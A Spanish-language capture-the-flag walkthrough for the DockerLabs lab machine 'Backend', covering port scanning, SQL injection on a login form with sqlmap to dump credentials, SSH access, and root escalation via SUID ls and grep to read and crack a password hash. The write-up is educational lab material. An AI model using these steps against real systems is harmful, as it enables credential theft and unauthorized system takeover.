Backend
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»En este artículo documentamos la resolución de la máquina virtual Backend, creada por 4bytes y clasificada como de dificultad fácil. El procedimiento se divide en tres fases principales: reconocimiento, explotación y escalada de privilegios.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Backend
- Autor: 4bytes
- Dificultad: Fácil
- Fecha de creación: 29/08/2024
Paso 0: Instalación y Despliegue
Sección titulada «Paso 0: Instalación y Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el paquete:
Ventana de terminal unzip Backend.zip -
Desplegamos el entorno:
Ventana de terminal sudo bash auto_deploy.sh Backend.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Identificación de la IP
Sección titulada «Identificación de la IP»Al iniciar la máquina, su dirección IP se muestra en pantalla, por lo que no es necesario un escaneo ARP.

Preparamos el entorno de trabajo:
mkdir Backendcd Backendmkt # Crea las carpetas: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Ejecutamos un escaneo completo de puertos con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos:
extractPorts allPorts
Puertos detectados:
- 22 (SSH)
- 80 (HTTP)
Enumeración Web (Puerto 80)
Sección titulada «Enumeración Web (Puerto 80)»Realizamos una enumeración de directorios con Gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200Se detectan las siguientes rutas:
-
Index: Página principal en desarrollo.

-
Login: Formulario de autenticación de usuarios.

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»La ruta /login.html parece vulnerable a SQL Injection.
En el campo de usuario introducimos un valor arbitrario seguido de un ' para provocar un error y confirmar la vulnerabilidad.

Una vez confirmada la inyección SQL, utilizamos sqlmap para extraer la información de la base de datos:
sqlmap -u http://172.17.0.2/login.html --forms --batch -dbs
Listamos las tablas y volcamos el contenido de la tabla usuarios:
sqlmap -u "http://172.17.0.3/login.html" --forms --batch -D users -T usuarios --dumpObtenemos credenciales que probamos vía SSH. El único usuario válido es pepe.

Paso 3: Escalada de Privilegios
Sección titulada «Paso 3: Escalada de Privilegios»Verificación de permisos sudo
Sección titulada «Verificación de permisos sudo»Una vez dentro como pepe:
sudo -lNo se tienen privilegios sudo.
Por lo tanto, exploramos binarios con el bit SUID activado:
find / -perm -4000 2>/dev/null
Entre los binarios detectados, destacan ls y grep.
Usamos ls para listar /root:

Después, con grep leemos el contenido del archivo sensible y obtenemos un hash:

Cracking del hash
Sección titulada «Cracking del hash»Utilizamos John the Ripper:

El hash revela la contraseña del usuario root. Iniciamos sesión como administrador:

Conclusión
Sección titulada «Conclusión»La máquina Backend se resuelve aprovechando una inyección SQL en el formulario de login, lo que permite extraer credenciales válidas para SSH. Posteriormente, se explotan binarios con permisos SUID para acceder a información sensible, crackear la contraseña de root y obtener el control total del sistema.